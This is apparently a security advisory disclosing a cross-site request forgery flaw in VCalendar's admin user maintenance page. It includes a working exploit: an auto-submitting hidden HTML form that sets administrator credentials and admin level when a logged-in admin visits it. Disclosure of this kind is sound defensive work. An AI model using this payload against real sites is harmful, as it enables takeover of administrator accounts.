Cross-site Request Forgery (CSRF) in VCalendar

High-Tech Bridge SA Security Research Lab has discovered vulnerability in VCalendar which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in VCalendar
The vulnerability exists due to insufficient validation of the request origin in admin/users_maint.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:

<form action="http://[host]/admin/users_maint.php?ccsForm=users_maint" method="post" name="main" />
<input type="hidden" name="user_login" value="test"/>
<input type="hidden" name="user_password" value="test"/>
<input type="hidden" name="user_level" value="100"/>
<input type="hidden" name="user_email" value="[email protected]"/>
<input type="hidden" name="user_first_name" value="test"/>
<input type="hidden" name="user_last_name" value="test"/>
<input type="hidden" name="user_is_approved" value="1"/>
<input type="hidden" name="user_date_add_h" value="04.16.2011"/>
<input type="submit" id="btn" name="submit" value="Submit ››">
</form>
<script>
document.getElementById('btn').click();
</scri pt>